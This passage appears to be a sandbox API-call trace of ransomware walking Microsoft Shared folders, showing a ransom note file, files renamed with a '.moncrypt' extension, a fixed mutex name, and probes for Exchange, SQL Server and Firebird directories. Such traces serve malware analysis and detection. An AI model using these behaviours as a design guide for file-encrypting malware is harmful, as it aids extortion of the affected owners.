ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0049.633] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0049.633] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.633] GlobalLock (hMem=0x440004) returned 0x550170 [0049.633] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.633] GlobalUnlock (hMem=0x440004) returned 0 [0049.633] GlobalLock (hMem=0x440004) returned 0x550170 [0049.633] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.633] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.633] GlobalUnlock (hMem=0x440004) returned 0 [0049.634] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.634] GlobalUnlock (hMem=0x44000c) returned 0 [0049.634] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.634] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ec84fc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ec84fc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.634] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.634] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.634] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.634] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.634] GlobalUnlock (hMem=0x44000c) returned 0 [0049.634] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.634] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.634] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.634] GlobalUnlock (hMem=0x44000c) returned 0 [0049.634] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.634] GlobalUnlock (hMem=0x440004) returned 0 [0049.634] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.634] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ec5ee60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ec5ee60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ec5ee60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0049.634] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.634] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.634] GlobalLock (hMem=0x440004) returned 0x550170 [0049.634] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.634] GlobalUnlock (hMem=0x440004) returned 0 [0049.634] GlobalLock (hMem=0x440004) returned 0x550170 [0049.634] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.634] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.634] GlobalUnlock (hMem=0x440004) returned 0 [0049.634] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.634] GlobalUnlock (hMem=0x44000c) returned 0 [0049.635] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.635] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0049.635] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.635] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.635] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.635] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.635] GlobalUnlock (hMem=0x44000c) returned 0 [0049.635] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.635] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.635] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.635] GlobalUnlock (hMem=0x44000c) returned 0 [0049.635] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.635] GlobalUnlock (hMem=0x440004) returned 0 [0049.635] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.635] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0049.635] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.635] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.635] GlobalLock (hMem=0x440004) returned 0x550170 [0049.635] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.635] GlobalUnlock (hMem=0x440004) returned 0 [0049.635] GlobalLock (hMem=0x440004) returned 0x550170 [0049.635] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.635] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.635] GlobalUnlock (hMem=0x440004) returned 0 [0049.635] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.635] GlobalUnlock (hMem=0x44000c) returned 0 [0049.635] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.636] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2e45, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt", cAlternateFileName="OSPPOB~1.MON")) returned 1 [0049.636] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.636] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.636] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.636] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.636] GlobalUnlock (hMem=0x44000c) returned 0 [0049.636] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.636] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.636] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.636] GlobalUnlock (hMem=0x44000c) returned 0 [0049.636] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.636] GlobalUnlock (hMem=0x440004) returned 0 [0049.636] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.636] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0049.636] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.636] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.636] GlobalLock (hMem=0x440004) returned 0x550170 [0049.636] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.636] GlobalUnlock (hMem=0x440004) returned 0 [0049.636] GlobalLock (hMem=0x440004) returned 0x550170 [0049.636] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.636] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.636] GlobalUnlock (hMem=0x440004) returned 0 [0049.636] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.636] GlobalUnlock (hMem=0x44000c) returned 0 [0049.636] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.636] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0049.636] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.636] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.637] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.637] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.637] GlobalUnlock (hMem=0x44000c) returned 0 [0049.637] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.637] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.637] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.637] GlobalUnlock (hMem=0x44000c) returned 0 [0049.637] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.637] GlobalUnlock (hMem=0x440004) returned 0 [0049.637] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.637] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0049.637] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.637] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.637] GlobalLock (hMem=0x440004) returned 0x550170 [0049.637] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.637] GlobalUnlock (hMem=0x440004) returned 0 [0049.637] GlobalLock (hMem=0x440004) returned 0x550170 [0049.637] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.637] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.637] GlobalUnlock (hMem=0x440004) returned 0 [0049.637] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.637] GlobalUnlock (hMem=0x44000c) returned 0 [0049.637] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.637] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0049.637] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.637] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.637] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.637] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.638] GlobalUnlock (hMem=0x44000c) returned 0 [0049.638] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.638] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.638] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.638] GlobalUnlock (hMem=0x44000c) returned 0 [0049.638] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.638] GlobalUnlock (hMem=0x440004) returned 0 [0049.638] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.638] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xbb23, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF.moncrypt", cAlternateFileName="OSPPWM~1.MON")) returned 1 [0049.638] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.638] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.638] GlobalLock (hMem=0x440004) returned 0x550170 [0049.638] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.638] GlobalUnlock (hMem=0x440004) returned 0 [0049.638] GlobalLock (hMem=0x440004) returned 0x550170 [0049.638] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.638] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.638] GlobalUnlock (hMem=0x440004) returned 0 [0049.638] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.638] GlobalUnlock (hMem=0x44000c) returned 0 [0049.638] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.638] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xbb23, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF.moncrypt", cAlternateFileName="OSPPWM~1.MON")) returned 0 [0049.638] GetLastError () returned 0x12 [0049.638] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0049.639] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0049.639] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0049.639] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0049.639] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.639] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.639] GlobalUnlock (hMem=0x44000c) returned 0 [0049.639] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.639] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.639] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.639] GlobalUnlock (hMem=0x44000c) returned 0 [0049.639] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.639] GlobalUnlock (hMem=0x440004) returned 0 [0049.639] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.639] GlobalLock (hMem=0x440004) returned 0x550170 [0049.639] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.639] GlobalUnlock (hMem=0x440004) returned 0 [0049.639] GlobalLock (hMem=0x440004) returned 0x550170 [0049.639] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.639] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.639] GlobalUnlock (hMem=0x440004) returned 0 [0049.639] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.639] GlobalUnlock (hMem=0x44000c) returned 0 [0049.639] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.640] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF", len=0x34 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF") returned 1 [0049.640] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.640] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.640] GlobalUnlock (hMem=0x44000c) returned 0 [0049.640] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.640] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.640] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.640] GlobalUnlock (hMem=0x44000c) returned 0 [0049.640] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.640] GlobalUnlock (hMem=0x440004) returned 0 [0049.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꢲRꢆR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0049.662] GetLastError () returned 0x3 [0049.662] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.662] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0049.662] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0049.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18㿬Q\x181")) returned 0xffffffff [0049.663] GetLastError () returned 0x2 [0049.663] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.663] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0049.663] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0049.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@儔R企@\x18?T\x18;")) returned 0xffffffff [0049.664] GetLastError () returned 0x2 [0049.664] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0049.664] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0049.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0049.664] GetLastError () returned 0x2 [0049.664] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ca8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0049.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0049.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18儔R\x18j")) returned 0xffffffff [0049.665] GetLastError () returned 0x2 [0049.665] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\microsoft shared\\proof\\") returned 0x35 [0049.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: 